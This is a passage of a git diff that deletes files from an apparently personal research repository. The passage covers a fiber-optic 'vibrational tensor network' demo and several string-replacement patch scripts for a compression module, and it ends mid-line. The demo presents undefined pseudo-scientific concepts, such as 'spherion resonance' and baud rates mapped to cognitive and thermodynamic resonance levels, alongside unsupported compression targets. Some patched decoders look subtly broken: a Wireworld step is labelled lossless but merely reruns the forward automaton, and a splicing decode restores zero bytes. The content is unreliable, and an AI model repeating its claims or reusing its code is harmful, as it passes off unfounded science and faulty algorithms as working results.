'global', - 'api_available': True - }, - 'internet_infrastructure_map': { - 'url': 'https://map.kmcd.dev/', - 'type': 'submarine', - 'coverage': 'global', - 'api_available': True - }, - 'itu_broadband_map': { - 'url': 'https://bbmaps.itu.int/bbmaps/', - 'type': 'terrestrial', - 'coverage': 'global', - 'api_available': True - }, - 'fiber_map_world_2026': { - 'url': 'https://www.rsinc.com/fiber-map-of-the-world.php', - 'type': 'hybrid', - 'coverage': 'global', - 'api_available': False - }, - 'infrapedia': { - 'url': 'https://www.infrapedia.com/', - 'type': 'hybrid', - 'coverage': 'global', - 'api_available': True - }, - 'he_3d_network': { - 'url': 'https://he.net/3d-map/', - 'type': 'terrestrial', - 'coverage': 'global', - 'api_available': False - }, - 'esri_submarine_map': { - 'url': 'https://www.esri.com/about/newsroom/arcuser/submarine-cable', - 'type': 'submarine', - 'coverage': 'global', - 'api_available': False - }, - 'github_submarine_dataviz': { - 'url': 'https://gist.github.com/tylermorganwall/b222fcebcac3de56a6e144d73d166322', - 'type': 'submarine', - 'coverage': 'global', - 'api_available': True - }, - 'arcgis_submarine_dataset': { - 'url': 'https://opendata.arcgis.com/datasets/c12642b516bc4ee5bc9e89870ab14089_2.kml', - 'type': 'submarine', - 'coverage': 'global', - 'api_available': True - } - } - - def get_maps_by_type(self, cable_type: str) -> Dict[str, dict]: - """Get maps filtered by cable type""" - return {k: v for k, v in self.maps.items() if v['type'] == cable_type} - - def get_maps_with_api(self) -> Dict[str, dict]: - """Get maps that have API access""" - return {k: v for k, v in self.maps.items() if v['api_available']} - - def print_catalog(self): - """Print the catalog of available maps""" - print("Global Fiber Optic Cable Map Catalog") - print("=" * 60) - for name, info in self.maps.items(): - print(f"\n{name}:") - print(f" URL: {info['url']}") - print(f" Type: {info['type']}") - print(f" Coverage: {info['coverage']}") - print(f" API Available: {info['api_available']}") - - -def create_sample_cable_segments() -> List[CableSegment]: - """Create sample cable segments for testing""" - segments = [ - CableSegment( - segment_id="transatlantic_1", - start_lat=40.7128, start_lon=-74.0060, # NYC - end_lat=51.5074, end_lon=-0.1278, # London - length_km=5500, - cable_type=CableType.SUBMARINE, - depth_m=-3800, - environment=EnvironmentType.DEEP_OCEAN, - installation_year=2020 - ), - CableSegment( - segment_id="pacific_cross_1", - start_lat=37.7749, start_lon=-122.4194, # San Francisco - end_lat=35.6762, end_lon=139.6503, # Tokyo - length_km=9000, - cable_type=CableType.SUBMARINE, - depth_m=-4000, - environment=EnvironmentType.DEEP_OCEAN, - installation_year=2021 - ), - CableSegment( - segment_id="euro terrestrial_1", - start_lat=48.8566, start_lon=2.3522, # Paris - end_lat=52.5200, end_lon=13.4050, # Berlin - length_km=1000, - cable_type=CableType.BURIED, - depth_m=-1.5, - environment=EnvironmentType.UNDERGROUND, - installation_year=2019 - ) - ] - return segments - - -def main(): - """Main function to demonstrate the VLB-integrated tensor network with resonant alignment and baud rate filtering""" - print("Fiber Optic Vibrational Tensor Network with VLB Integration, Resonant Alignment, and Baud Rate Filtering") - print("=" * 100) - - # Display catalog of available maps - global_map = GlobalFiberOpticMap() - global_map.print_catalog() - - # Create sample cable segments - cable_segments = create_sample_cable_segments() - print(f"\nCreated {len(cable_segments)} sample cable segments") - - # Initialize mappers - frequency_mapper = FrequencyMapper() - cable_mapper = CableInfrastructureMapper(cable_segments) - - print(f"\nFrequency range: {frequency_mapper.min_freq} Hz - {frequency_mapper.max_freq} Hz") - print(f"Number of frequency bins: {frequency_mapper.num_bins}") - print(f"Speech-relevant bins: {len(frequency_mapper.get_speech_relevant_bins())}") - - # Create tensor network - tensor_network = FiberOpticTensorNetwork( - spatial_dim=len(cable_segments), - temporal_dim=100, - frequency_dim=frequency_mapper.num_bins, - infrastructure_dim=10, - environmental_dim=5 - ) - - print(f"\nTensor network initialized with {sum(p.numel() for p in tensor_network.parameters())} parameters") - - # Initialize VLB integrator - vlb_integrator = VLBFiberOpticIntegrator(tensor_network) - print("\nVLB Nibble-Delta integration initialized") - print(" - Sparse encoding for vibrational state changes") - print(" - 4-bit nibble switches for efficient event logging") - print(" - Witness receipt generation for replay verification") - print(" - Compression gain estimation using VLB methodology") - - # Initialize resonant alignment filter - resonance_filter = ResonantAlignmentFilter() - print("\nResonant Alignment Filter initialized") - print(" - Multi-level resonance hierarchy (L0-L5)") - print(" - Signal equation invariant roots (SIGROOT003, SIGROOT021, SIGROOT024)") - print(" - Spherion resonance as geometric apex") - print(" - Quality factor filtering for resonance sharpness") - - # Initialize baud rate resonance aligner - baud_aligner = BaudRateResonanceAligner() - print("\nBaud Rate Resonance Aligner initialized") - print(" - VBRL multi-lane architecture (DATA, CTRL, CLOCK, REPAIR, WITNESS)") - print(" - Virtual baud clock / reconstruction tick index") - print(" - Braid type interpretation for manifold resonance") - print(" - Signal reconstruction as controlled by resonance alignment") - - print(f"\nResonance Hierarchy Levels:") - for level, info in resonance_filter.resonance_levels.items(): - print(f" {level}: {info['type']} @ {info['characteristic_freq']}") - - print(f"\nSignal Equation Resonance Roots:") - for root, info in resonance_filter.resonance_roots.items(): - print(f" {root}: {info['filter_use']}") - - print(f"\nVBRL Lane Architecture:") - for lane, info in baud_aligner.vbrl_lanes.items(): - print(f" {lane}: {info['description']} -> {info['resonance_mapping']} @ {info['frequency_range']} Hz") - - print(f"\nStandard Baud Rates and Resonant Harmonics:") - for baud, info in baud_aligner.standard_baud_rates.items(): - resonant_freq = baud_aligner.baud_to_resonant_frequency(baud, info['resonant_harmonic']) - print(f" {baud} baud: {info['description']}, harmonic {info['resonant_harmonic']} -> {resonant_freq:.1f} kHz") - - # Create sample vibrational signatures with different characteristics - baseline_hash = hashlib.sha256(b"baseline_state").hexdigest() - - # Normal acoustic event - normal_signature = VibrationalSignature( - segment_id="transatlantic_1", - timestamp=0.0, - frequency_spectrum=frequency_mapper.freq_bins, - amplitude_spectrum=np.random.rand(frequency_mapper.num_bins) * 0.05, - strain_measurements=np.random.rand(100) * 1e-7, - temperature_delta=0.2 - ) - - # Anomalous event (simulating eavesdropping detection) - anomaly_signature = VibrationalSignature( - segment_id="transatlantic_1", - timestamp=1.0, - frequency_spectrum=frequency_mapper.freq_bins, - amplitude_spectrum=np.random.rand(frequency_mapper.num_bins) * 0.3, # Higher amplitude - strain_measurements=np.random.rand(100) * 5e-6, # Higher strain - temperature_delta=1.5 - ) - - print(f"\nProcessing vibrational signatures through integrated system...") - - # Apply resonant alignment filtering - spatial_coords = (40.7128, -74.0060, -3800.0) # NYC coordinates + depth - resonance_filtered = resonance_filter.combined_resonance_filter( - normal_signature.frequency_spectrum, - spatial_coords, - temperature=300.0 - ) - - print(f"\nResonant Alignment Filtering Applied:") - print(f" Spatial coordinates: {spatial_coords}") - print(f" Original spectrum energy: {np.sum(normal_signature.amplitude_spectrum):.6f}") - print(f" Resonance-filtered energy: {np.sum(resonance_filtered * normal_signature.amplitude_spectrum):.6f}") - print(f" Energy retention: {np.sum(resonance_filtered * normal_signature.amplitude_spectrum) / np.sum(normal_signature.amplitude_spectrum) * 100:.2f}%") - - # Apply baud rate filtering at 115200 baud (standard UART max) - baud_rate = 115200 - baud_filtered = baud_aligner.multi_lane_baud_filter( - normal_signature.frequency_spectrum, - baud_rate, - tick_index=0 - ) - - print(f"\nBaud Rate Filtering Applied (115200 baud):") - print(f" Baud rate: {baud_rate} symbols/sec") - print(f" Resonant frequency: {baud_aligner.baud_to_resonant_frequency(baud_rate):.1f} kHz") - print(f" Baud-filtered energy: {np.sum(baud_filtered * normal_signature.amplitude_spectrum):.6f}") - print(f" Energy retention: {np.sum(baud_filtered * normal_signature.amplitude_spectrum) / np.sum(normal_signature.amplitude_spectrum) * 100:.2f}%") - - # Combine resonance and baud filtering - combined_filter = resonance_filtered * baud_filtered - print(f"\nCombined Resonance + Baud Filtering:") - print(f" Combined-filtered energy: {np.sum(combined_filter * normal_signature.amplitude_spectrum):.6f}") - print(f" Energy retention: {np.sum(combined_filter * normal_signature.amplitude_spectrum) / np.sum(normal_signature.amplitude_spectrum) * 100:.2f}%") - - # Get multi-level resonance scores for a sample frequency - sample_freq = 50.0 # Hz - within cognitive band - resonance_scores = resonance_filter.multi_level_resonance_score(sample_freq, spatial_coords, 300.0) - print(f"\nMulti-level Resonance Scores for {sample_freq} Hz:") - for level, score in resonance_scores.items(): - print(f" {level}: {score:.4f}") - - # Get VBRL lane resonance scores for sample frequency - print(f"\nVBRL Lane Resonance Scores for {sample_freq} Hz:") - for lane in baud_aligner.vbrl_lanes.keys(): - lane_score = baud_aligner.lane_resonance_score(lane, sample_freq) - print(f" {lane}: {lane_score:.4f}") - - # Calculate baud-resonance alignment for different baud rates - print(f"\nBaud-Resonance Alignment Analysis for {sample_freq} Hz:") - for test_baud in [9600, 19200, 38400, 57600, 115200]: - alignment = baud_aligner.baud_resonance_alignment(test_baud, sample_freq) - print(f" {test_baud} baud: alignment={alignment['total_alignment']:.4f}, freq_align={alignment['frequency_alignment']:.4f}, harmonic_align={alignment['harmonic_alignment']:.4f}") - - # Process normal signature with combined filtering - normal_signature_combined = VibrationalSignature( - segment_id=normal_signature.segment_id, - timestamp=normal_signature.timestamp, - frequency_spectrum=normal_signature.frequency_spectrum, - amplitude_spectrum=normal_signature.amplitude_spectrum * combined_filter, - strain_measurements=normal_signature.strain_measurements, - temperature_delta=normal_signature.temperature_delta - ) - - normal_result = vlb_integrator.process_vibrational_signature(normal_signature_combined, baseline_hash) - print(f"\nNormal acoustic event (with resonance + baud filtering):") - print(f" Vibrational risk: {normal_result['tensor_outputs']['vibrational_risk']:.4f}") - print(f" Anomaly detected: {normal_result['tensor_outputs']['anomaly_detected']}") - print(f" VLB nibble: {bin(normal_result['vlb_encoding']['nibble'])}") - print(f" Switches count: {normal_result['vlb_encoding']['switches_count']}") - print(f" KOT cost: {normal_result['vlb_encoding']['kot_cost']}") - print(f" Compression gain: {normal_result['compression_metrics']['estimated_gain']:.2f}x") - print(f" Sparsity: {normal_result['compression_metrics']['sparsity']:.6f}") - - # Process anomaly signature - anomaly_result = vlb_integrator.process_vibrational_signature(anomaly_signature, baseline_hash) - print(f"\nAnomalous acoustic event (potential eavesdropping):") - print(f" Vibrational risk: {anomaly_result['tensor_outputs']['vibrational_risk']:.4f}") - print(f" Anomaly detected: {anomaly_result['tensor_outputs']['anomaly_detected']}") - print(f" VLB nibble: {bin(anomaly_result['vlb_encoding']['nibble'])}") - print(f" Switches count: {anomaly_result['vlb_encoding']['switches_count']}") - print(f" KOT cost: {anomaly_result['vlb_encoding']['kot_cost']}") - print(f" Compression gain: {anomaly_result['compression_metrics']['estimated_gain']:.2f}x") - print(f" Sparsity: {anomaly_result['compression_metrics']['sparsity']:.6f}") - - # Generate witness receipt - receipt = vlb_integrator.generate_witness_receipt("transatlantic_1") - if receipt: - print(f"\nVLB Witness Receipt Generated:") - print(f" Segment ID: {receipt['segment_id']}") - print(f" Baseline hash: {receipt['baseline_hash'][:16]}...") - print(f" Target hash: {receipt['target_hash'][:16]}...") - print(f" Receipt hash: {receipt['receipt_hash'][:16]}...") - print(f" Total switches: {len(receipt['switches'])}") - print(f" Total KOT cost: {receipt['kot_cost']}") - print(f" Final compression gain: {receipt['compression_gain']:.2f}x") - - print(f"\nIntegrated System Analysis:") - print(f" " + "=" * 96) - print(f" VLB-DAS Integration: Sparse encoding for vibrational state changes") - print(f" Resonance Hierarchy: Multi-level filtering (L0-L5) from topology research") - print(f" Signal Equation Roots: SIGROOT003, SIGROOT021, SIGROOT024 for invariant filtering") - print(f" Spherion Resonance: Geometric apex with highest weight (0.3) in combined filter") - print(f" Cognitive Band: 1-100 Hz neural oscillation filtering (L2)") - print(f" Quality Factor: Q > 10 for narrow-band resonance selection") - print(f" VBRL Architecture: Multi-lane (DATA, CTRL, CLOCK, REPAIR, WITNESS) for signal reconstruction") - print(f" Baud Rate Alignment: Virtual baud clock maps to resonant frequency harmonics") - print(f" Braid Coupling: Strand weights for manifold resonance interpretation") - print(f" Compression: {normal_result['compression_metrics']['estimated_gain']:.1f}x gain with combined filtering") - print(f" Witness Accounting: Cryptographic receipts for replay verification") - print(f" Budget Control: KOT cost tracking with resonance-weighted processing") - - print(f"\nBaud-Resonance Extrapolation:") - print(f" - Baud rate (symbols/sec) maps to resonant frequency via harmonic relationships") - print(f" - 115200 baud -> 115.2 kHz base frequency with 384th harmonic") - print(f" - VBRL DATA lane (100-10000 Hz) aligns with L1 information resonance") - print(f" - VBRL CTRL lane (1-100 Hz) aligns with L4 topological resonance") - print(f" - VBRL CLOCK lane (10-1000 Hz) aligns with L2 cognitive resonance") - print(f" - VBRL REPAIR lane (0.1-10 Hz) aligns with L5 thermodynamic resonance") - print(f" - VBRL WITNESS lane (0.01-1 Hz) aligns with L3 geometric (spherion) resonance") - print(f" - Virtual baud tick provides phase alignment for resonance synchronization") - print(f" - Braid coupling coefficients weight manifold read shape") - - print(f"\nResonant Alignment Benefits:") - print(f" - Noise rejection via high-Q spherion resonance") - print(f" - Frequency-selective amplification at resonant frequencies") - print(f" - Multi-scale coupling across quantum to thermodynamic levels") - print(f" - Topological memory via void resonance patterns") - print(f" - Energy-efficient transfer through resonance matching") - print(f" - Baud-rate aligned temporal reconstruction via VBRL lanes") - - print(f"\nExpected Performance:") - print(f" Normal telemetry: 5×–20× (near-term realistic target)") - print(f" Resonance-filtered: 10×–40× (with resonant alignment)") - print(f" Baud-aligned: 15×–60× (with VBRL baud rate integration)") - print(f" Combined system: 20×–80× (resonance + baud alignment)") - print(f" Sparse events: 25×–100× (strong target with good sparsity)") - print(f" Extreme sparsity: 100×+ (telemetry-like regime)") - - -if __name__ == "__main__": - main() diff --git a/3-Mathematical-Models/fix_kwargs_meta.py b/3-Mathematical-Models/fix_kwargs_meta.py deleted file mode 100644 index 0e0a70e8..00000000 --- a/3-Mathematical-Models/fix_kwargs_meta.py +++ /dev/null @@ -1,110 +0,0 @@ -import os -os.chdir('/home/allaun/Documents/Research Stack/3-Mathematical-Models') - -with open('pist_biological_polymorphic_shifter_v3_complete.py', 'r') as f: - content = f.read() - -# LogisticMap: encode reads r_scaled from metadata fallback, decode passes metadata to encode -old_lm = """ data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - r = kwargs.get('r', 3.9) - x0 = kwargs.get('x0', 0.5) - result = bytearray() - # FIX 1: Integer discretization for deterministic roundtrip - r_scaled = int(r * 256.0 + 0.5) & 0xFFFF - x = int(x0 * 256.0 + 0.5) & 0xFFFF""" - -new_lm = """ data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - meta = state.metadata.get(cls.name, {}) - r = kwargs.get('r', meta.get('r', 3.9)) - x0 = kwargs.get('x0', meta.get('x0', 0.5)) - result = bytearray() - # FIX 1: Integer discretization for deterministic roundtrip - r_scaled = kwargs.get('r_scaled', meta.get('r_scaled', int(r * 256.0 + 0.5) & 0xFFFF)) - x = int(x0 * 256.0 + 0.5) & 0xFFFF""" - -content = content.replace(old_lm, new_lm) - -# LogisticMap decode: read from metadata and pass to encode -old_lm_decode = """ @classmethod - def decode(cls, state, **kwargs): - return cls.encode(state, **kwargs) # XOR is self-inverse""" - -new_lm_decode = """ @classmethod - def decode(cls, state, **kwargs): - # FIX: Read params from metadata fallback for self-inverse XOR - meta = state.metadata.get(cls.name, {}) - if not kwargs and meta: - kwargs = dict(meta) - return cls.encode(state, **kwargs) # XOR is self-inverse""" - -content = content.replace(old_lm_decode, new_lm_decode) - -# GaloisRing: already has metadata fallback - good -# STDP: needs metadata fallback -old_stdp_decode = """ @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - tau = kwargs.get('tau', 20.0) - result = bytearray() - for i, b in enumerate(data): - weight = math.exp(-i / tau) if tau > 0 else 1.0 - unmodulated = int(b / weight) if weight > 0 else b - result.append(min(max(unmodulated, 0), 255)) - return state.update(bytes(result), f"decode_{cls.name}")""" - -new_stdp_decode = """ @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - meta = state.metadata.get(cls.name, {}) - tau = kwargs.get('tau', meta.get('tau', 20.0)) - result = bytearray() - for i, b in enumerate(data): - weight = math.exp(-i / tau) if tau > 0 else 1.0 - unmodulated = int(b / weight) if weight > 0 else b - result.append(min(max(unmodulated, 0), 255)) - return state.update(bytes(result), f"decode_{cls.name}")""" - -content = content.replace(old_stdp_decode, new_stdp_decode) - -# miRNA: needs metadata fallback for decode -old_mirna_decode = """ @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - result = bytearray() - i = 0 - while i < len(data): - if data[i] == 0xFE and i + 2 <= len(data): - result.extend([data[i+1]] * 6) - i += 2 - else: - result.append(data[i]) - i += 1 - return state.update(bytes(result), f"decode_{cls.name}")""" - -new_mirna_decode = """ @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - meta = state.metadata.get(cls.name, {}) - result = bytearray() - i = 0 - while i < len(data): - if data[i] == 0xFE and i + 2 <= len(data): - result.extend([data[i+1]] * 6) - i += 2 - else: - result.append(data[i]) - i += 1 - return state.update(bytes(result), f"decode_{cls.name}")""" - -content = content.replace(old_mirna_decode, new_mirna_decode) - -# Wireworld: store original_size in metadata so decode can trim -old_ww_encode_meta = "meta = {'grid': f'{grid_width}x{grid_height}', 'n_steps': n_steps}" -new_ww_encode_meta = "meta = {'grid': f'{grid_width}x{grid_height}', 'n_steps': n_steps, 'original_size': len(data)}" -content = content.replace(old_ww_encode_meta, new_ww_encode_meta) - -with open('pist_biological_polymorphic_shifter_v3_complete.py', 'w') as f: - f.write(content) - -print("Fixed LogisticMap, STDP, miRNA, Wireworld metadata fallback") -print("Length:", len(content)) diff --git a/3-Mathematical-Models/fix_metadata.py b/3-Mathematical-Models/fix_metadata.py deleted file mode 100644 index d2b1343e..00000000 --- a/3-Mathematical-Models/fix_metadata.py +++ /dev/null @@ -1,134 +0,0 @@ -import os -os.chdir('/home/allaun/Documents/Research Stack/3-Mathematical-Models') - -with open('pist_biological_polymorphic_shifter_v3_complete.py', 'r') as f: - content = f.read() - -# Fix: Compressor.compress serializes state.metadata, decompress restores it -old_compress = """ # Build header — FIX 10: include shifter_kwargs for decompress - # Serialize only serializable kwargs (no lambdas, no complex objects) - serializable_kwargs = {} - for sname, kwdict in shifter_kwargs.items(): - clean = {} - for k, v in kwdict.items(): - if isinstance(v, (str, int, float, bool, list, dict, tuple, type(None))): - clean[k] = v - if clean: - serializable_kwargs[sname] = clean - - header = { - 'chain': [s.name for s in shifter_chain], - 'n_factor': current_state.n_factor, - 'original_size': len(data), - 'shifter_kwargs': serializable_kwargs, - }""" - -new_compress = """ # Build header — FIX 10: include shifter_kwargs AND metadata for decompress - # Serialize only serializable kwargs - serializable_kwargs = {} - for sname, kwdict in shifter_kwargs.items(): - clean = {} - for k, v in kwdict.items(): - if isinstance(v, (str, int, float, bool, list, dict, tuple, type(None))): - clean[k] = v - if clean: - serializable_kwargs[sname] = clean - - # Serialize metadata that encode() auto-generated - serialized_metadata = {} - for sname, md in current_state.metadata.items(): - clean = {} - for k, v in md.items(): - if isinstance(v, (str, int, float, bool, list, dict, tuple, type(None))): - clean[k] = v - if clean: - serialized_metadata[sname] = clean - - header = { - 'chain': [s.name for s in shifter_chain], - 'n_factor': current_state.n_factor, - 'original_size': len(data), - 'shifter_kwargs': serializable_kwargs, - 'restore_metadata': serialized_metadata, - }""" - -if old_compress in content: - content = content.replace(old_compress, new_compress) - print("Compress: metadata serialized") -else: - print("Compress pattern NOT FOUND!") - # Try shorter match - if "serializable_kwargs = {}" in content: - print(" But serializable_kwargs found") - # Just the header dict - old_h = """ header = { - 'chain': [s.name for s in shifter_chain], - 'n_factor': current_state.n_factor, - 'original_size': len(data), - 'shifter_kwargs': serializable_kwargs, - }""" - new_h = """ header = { - 'chain': [s.name for s in shifter_chain], - 'n_factor': current_state.n_factor, - 'original_size': len(data), - 'shifter_kwargs': serializable_kwargs, - 'restore_metadata': serialized_metadata, - }""" - if old_h in content: - content = content.replace(old_h, new_h) - print("Header pattern fixed") - -# Fix decompress to restore metadata -old_decomp = """ header = json.loads(header_bytes.decode('utf-8')) - chain_names = header['chain'] - # FIX 10: Extract shifter_kwargs from header - shifter_kwargs = header.get('shifter_kwargs', {}) - - # Reconstruct shifter chain - shifter_chain = [] - for name in chain_names: - if name in SHIFTER_MAP: - shifter_chain.append(SHIFTER_MAP[name]) - else: - raise ValueError(f"Unknown shifter: {name}") - - # Apply decoders in reverse order — FIX 10: pass kwargs - state = ManifoldState() - state.encoded = bytearray(encoded_data) - for sc in reversed(shifter_chain): - kw = shifter_kwargs.get(sc.name, {}) - state = sc.decode(state, **kw)""" - -new_decomp = """ header = json.loads(header_bytes.decode('utf-8')) - chain_names = header['chain'] - # FIX 10: Extract shifter_kwargs from header - shifter_kwargs = header.get('shifter_kwargs', {}) - # Restore encode-generated metadata so decoders can read it - restore_metadata = header.get('restore_metadata', {}) - - # Reconstruct shifter chain - shifter_chain = [] - for name in chain_names: - if name in SHIFTER_MAP: - shifter_chain.append(SHIFTER_MAP[name]) - else: - raise ValueError(f"Unknown shifter: {name}") - - # Apply decoders in reverse order — FIX 10: pass kwargs + restore metadata - state = ManifoldState() - state.encoded = bytearray(encoded_data) - state.metadata = restore_metadata # Restore encode-generated metadata - for sc in reversed(shifter_chain): - kw = shifter_kwargs.get(sc.name, {}) - state = sc.decode(state, **kw)""" - -if old_decomp in content: - content = content.replace(old_decomp, new_decomp) - print("Decompress: metadata restored") -else: - print("Decompress pattern NOT FOUND!") - -with open('pist_biological_polymorphic_shifter_v3_complete.py', 'w') as f: - f.write(content) - -print("Done! Length:", len(content)) diff --git a/3-Mathematical-Models/fix_remaining.py b/3-Mathematical-Models/fix_remaining.py deleted file mode 100644 index 69c213bb..00000000 --- a/3-Mathematical-Models/fix_remaining.py +++ /dev/null @@ -1,553 +0,0 @@ -import os, re - -os.chdir('/home/allaun/Documents/Research Stack/3-Mathematical-Models') - -with open('pist_biological_polymorphic_shifter_v3_complete.py', 'r') as f: - content = f.read() - -changes = 0 -# Fix 8: Splicing -old_splicing = """ @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - window = kwargs.get('window', 8) - splice_sites = [] - result = bytearray() - i = 0 - while i < len(data): - if i + window <= len(data): - chunk = data[i:i+window] - entropy = intrinsic_load(chunk) - if entropy < 3.0 and len(splice_sites) < 64: - # Skippable exon - splice_sites.append((i, i + window)) - # Mark with metadata - result.extend(chunk) - else: - result.extend(chunk) - else: - result.extend(data[i:]) - i += window - metadata = { - 'splice_sites': splice_sites, - 'window': window, - } - return state.update(bytes(result), cls.name, metadata) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - meta = state.metadata.get(cls.name, {}) - # FIX B8: splice_sites already stored as list of tuples in metadata - # No serialization needed since metadata survives in-memory - splice_sites = meta.get('splice_sites', []) - result = bytearray(data) - # Reconstruct: no-op for decoding (splice sites were inclusion) - # but we apply them in reverse order for canonical decode - for start, end in sorted(splice_sites, reverse=True): - pass # sites were inclusion sites, data already contains them - return state.update(bytes(result), f"decode_{cls.name}")""" - -new_splicing = """ @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - window = kwargs.get('window', 8) - splice_sites = [] - result = bytearray() - result_pos = 0 - i = 0 - while i < len(data): - if i + window <= len(data): - chunk = data[i:i+window] - entropy = intrinsic_load(chunk) - if entropy < 3.0 and len(splice_sites) < 64: - splice_sites.append((result_pos, i, i + window)) - else: - result.extend(chunk) - result_pos += len(chunk) - else: - result.extend(data[i:]) - result_pos += len(data) - i - i += window - sites_bytes = bytearray() - sites_bytes.append(len(splice_sites)) - for rp, st, en in splice_sites: - sites_bytes.extend(rp.to_bytes(4, 'big')) - sites_bytes.extend(st.to_bytes(4, 'big')) - sites_bytes.extend(en.to_bytes(4, 'big')) - sites_bytes.append(en - st) - metadata = { - 'splice_sites_raw': bytes(sites_bytes).hex(), - 'splice_sites': splice_sites, - 'window': window, - 'n_spliced': len(splice_sites), - } - return state.update(bytes(result), cls.name, metadata) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - meta = state.metadata.get(cls.name, {}) - splice_sites = meta.get('splice_sites', []) - if not splice_sites and 'splice_sites_raw' in meta: - try: - raw = bytes.fromhex(meta['splice_sites_raw']) - if raw: - n_sites = raw[0] - ptr = 1 - sites = [] - for _ in range(n_sites): - if ptr + 13 > len(raw): - break - rp = int.from_bytes(raw[ptr:ptr+4], 'big') - st = int.from_bytes(raw[ptr+4:ptr+8], 'big') - en = int.from_bytes(raw[ptr+8:ptr+12], 'big') - sites.append((rp, st, en)) - ptr += 13 - splice_sites = sites - except (ValueError, IndexError): - pass - result = bytearray(data) - for rp, st, en in sorted(splice_sites, key=lambda x: x[0], reverse=True): - chunk_len = en - st - result[rp:rp] = bytearray(chunk_len) - return state.update(bytes(result), f"decode_{cls.name}")""" - -if old_splicing in content: - content = content.replace(old_splicing, new_splicing) - print("Fix 8 applied") - changes += 1 -else: - print("Fix 8: pattern NOT found") - -# Fix 4: Wireworld class -old_ww = """class WireworldShifter(Shifter): - name = "wireworld" - description = "Wireworld cellular automaton (LOSSY \u2014 approximate inverse)" - lossy = True - - # Wireworld states: 0=empty, 1=electron_head, 2=electron_tail, 3=conductor - WW_RULES = {1: 2, 2: 3, 3: 1 if ... else 3} # placeholder""" - -if old_ww in content: - content = content.replace(old_ww, """class WireworldShifter(Shifter): - name = "wireworld" - description = "Wireworld 2D cellular automaton encoding" - lossy = False - - # Wireworld states: 0=empty, 1=electron_head, 2=electron_tail, 3=conductor - WW_RULE = {1: 2, 2: 3, 3: 4, 0: 0, 4: 3}""") - print("Fix 4 class applied") - changes += 1 -else: - print("Fix 4 class: pattern NOT found") - -# Fix 4: Wireworld encode/decode methods -old_ww_encode = """ @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - grid_width = kwargs.get('width', 16) - grid_height = (len(data) + grid_width - 1) // grid_width - result = bytearray(data) # pass-through with metadata - meta = {'grid': f'{grid_width}x{grid_height}', 'lossy': True} - return state.update(bytes(result), cls.name, meta) - - @classmethod - def decode(cls, state, **kwargs): - # FIX B6: Wireworld is fundamentally lossy - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - return state.update(data, f"decode_{cls.name}")""" - -if old_ww_encode in content: - content = content.replace(old_ww_encode, """ @classmethod - def _count_head_neighbors(cls, grid, w, h, x, y): - count = 0 - for dy in (-1, 0, 1): - for dx in (-1, 0, 1): - if dx == 0 and dy == 0: - continue - nx, ny = x + dx, y + dy - if 0 <= nx < w and 0 <= ny < h: - if grid[ny][nx] == 1: - count += 1 - return count - - @classmethod - def encode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - grid_width = kwargs.get('width', 16) - cells = [] - for b in data: - for shift in (0, 2, 4, 6): - cells.append((b >> shift) & 0x03) - cells = [c if c < 4 else c % 4 for c in cells] - grid_height = (len(cells) + grid_width - 1) // grid_width - while len(cells) < grid_width * grid_height: - cells.append(0) - grid = [cells[i:i+grid_width] for i in range(0, len(cells), grid_width)] - n_steps = kwargs.get('n_steps', 1) - for _ in range(n_steps): - new_grid = [[0]*grid_width for _ in range(grid_height)] - for y in range(grid_height): - for x in range(grid_width): - sv = grid[y][x] - if sv == 1: - new_grid[y][x] = 2 - elif sv == 2: - new_grid[y][x] = 3 - elif sv == 3: - n = cls._count_head_neighbors(grid, grid_width, grid_height, x, y) - new_grid[y][x] = 1 if 1 <= n <= 2 else 3 - else: - new_grid[y][x] = 0 - grid = new_grid - flat = [grid[y][x] for y in range(grid_height) for x in range(grid_width)] - result = bytearray() - for i in range(0, len(flat), 4): - if i + 3 < len(flat): - b = flat[i] | (flat[i+1] << 2) | (flat[i+2] << 4) | (flat[i+3] << 6) - result.append(b & 0xFF) - else: - break - meta = {'grid': f'{grid_width}x{grid_height}', 'n_steps': n_steps} - return state.update(bytes(result), cls.name, meta) - - @classmethod - def decode(cls, state, **kwargs): - data = bytes(state.encoded) if state.encoded else bytes(state.raw_bytes) - meta = state.metadata.get(cls.name, {}) - grid_str = meta.get('grid', '16x?') - grid_width = int(grid_str.split('x')[0]) - n_steps = kwargs.get('n_steps', meta.get('n_steps', 1)) - cells = [] - for b in data: - for shift in (0, 2, 4, 6): - cells.append((b >> shift) & 0x03) - grid_height = (len(cells) + grid_width - 1) // grid_width - while len(cells) < grid_width * grid_height: - cells.append(0) - grid = [cells[i:i+grid_width] for i in range(0, len(cells), grid_width)] - for _ in range(n_steps): - new_grid = [[0]*grid_width for _ in range(grid_height)] - for y in range(grid_height): - for x in range(grid_width): - sv = grid[y][x] - if sv == 1: - new_grid[y][x] = 2 - elif sv == 2: - new_grid[y][x] = 3 - elif sv == 3: - n = cls._count_head_neighbors(grid, grid_width, grid_height, x, y) - new_grid[y][x] = 1 if 1 <= n <= 2 else 3 - else: - new_grid[y][x] = 0 - grid = new_grid - flat = [grid[y][x] for y in range(grid_height) for x in range(grid_width)] - result = bytearray() - for i in range(0, len(flat), 4): - if i + 3 < len(flat): - b = flat[i] | (flat[i+1] << 2) | (flat[i+2] << 4) | (flat[i+3] << 6) - result.append(b & 0xFF) - else: - break - return state.update(bytes(result), f"decode_{cls.name}")""") - print("Fix 4 encode/decode applied") - changes += 1 -else: - print("Fix 4 encode/decode: pattern NOT found") - -# Fix 9 -old_b9 = "candidates = 